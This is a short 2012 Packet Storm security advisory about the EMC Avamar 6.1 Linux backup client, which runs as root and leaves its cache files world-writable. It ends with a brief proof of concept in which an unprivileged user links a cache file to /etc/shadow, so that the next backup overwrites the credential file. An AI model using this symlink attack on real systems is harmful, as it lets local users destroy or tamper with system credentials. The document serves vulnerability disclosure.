EMC Avamar 6.1.100-402 File Overwrite

Type packetstorm
Reporter Packet Storm
Modified 2012-12-19T00:00:00


                                            `Product: Avamar backup client for Linux (Proberly also Unix but not tested)  
Vendor: EMC (http://www.emc.com)  
Tested version: 6.1.100-402 (Latest)  
Vendor Notification: December 17, 2012  
Vender Patch: None  
Vender Workaround: <quote>workaround is to run a script at the end of each backup which set the files permissions to be read/write for the owner only</quote>  
Vender Response: Will maybe be patched in version 7 mid-2013 since EMC does not patch for security  
Solution Status: None  
Risk Level: High  
The avamar client runs as root and after each backup it leavs the cache files as world writable:  
# ls -latr /var/avamar/f_cache.dat   
-rw-rw-rw- 1 root root 11534880 Dec 17 10:30 /var/avamar/f_cache.dat  
# ls -latr /var/avamar/p_cache.dat   
-rw-rw-rw- 1 root root 3146272 Dec 17 10:30 /var/avamar/p_cache.dat  
Fun && profit:  
# id  
uid=1000(slave) gid=1000(slave) groups=1000(slave)  
# cd /var/avamar  
# ln -sf /etc/shadow p_cache.dat  
and wait for the next backup window.